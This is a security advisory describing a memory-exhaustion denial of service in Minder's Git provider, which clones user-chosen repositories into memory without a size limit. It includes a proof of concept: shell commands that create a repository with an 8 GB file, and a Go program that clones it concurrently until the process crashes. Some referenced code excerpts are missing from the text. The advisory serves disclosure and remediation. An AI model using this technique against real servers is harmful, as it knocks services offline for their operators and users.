Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5 library on these lines:

The Git provider does the following on these lines:

First, it sets the CloneOptions, specifying the url, the depth etc:

It then validates the options:

It then sets up an in-memory filesystem, to which it clones:

Finally, it clones the repository:

This (g *Git) Clone() method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:

1. Users can control the Git URL which Minder clones.
2. Minder does not enforce a size limit to the repository.
3. Minder clones the entire repository into memory.

PoC

Here, we share a PoC of how the logic of (g *Git) Clone() behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.

We believe the below PoC is a correct representation because:

1. We have replicated the important and impactful parts of (g *Git) Clone()
2. We run this in multiple goroutines which Minder does here:

   minder/internal/engine/executor.go

   Line 128 in 3afa50e

   err := e.evalEntityEvent(ctx, inf)

3. Minders timeout is set to 5 minutes:

   minder/internal/engine/executor.go

   Line 114 in 3afa50e

   ctx, cancel := context.WithTimeout(e.terminationcontext, DefaultExecutionTimeout)

   . With a reasonable connection, Minder can download many GBs in that period.

In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.

First, create a local Git repository:

cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp

Create and run the following script in /tmp/dos-poc/main.go:

package main

import (
        "context"
        "fmt"
        "github.com/go-git/go-billy/v5/memfs"
        "github.com/go-git/go-git/v5"
        "github.com/go-git/go-git/v5/storage/memory"
        "runtime"
        "sync"
)

func main() {
        var (
                wg  sync.WaitGroup
        )

        for i := 0; i < 2; i++ {
                fmt.Println("Starting one...")
                wg.Add(1)
                go func() {
                        defer wg.Done()
                        opts := &git.CloneOptions{
                                URL:          "/tmp/upstream-repo",
                                SingleBranch: true,
                                Depth:        1,
                                Tags:         git.NoTags,
                        }

                        storer := memory.NewStorage()
                        fs := memfs.New()
                        git.CloneContext(context.Background(), storer, fs, opts)
                }()
        }
        fmt.Println("Finished")
        PrintMemUsage()
        wg.Wait()

}

func PrintMemUsage() {
        var m runtime.MemStats
        runtime.ReadMemStats(&m)
        // For info on each, see: https://golang.org/pkg/runtime/#MemStats
        fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
        fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
        fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
        fmt.Printf("\tNumGC = %v\n", m.NumGC)
}

func bToMb(b uint64) uint64 {
        return b / 1024 / 1024
}

On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.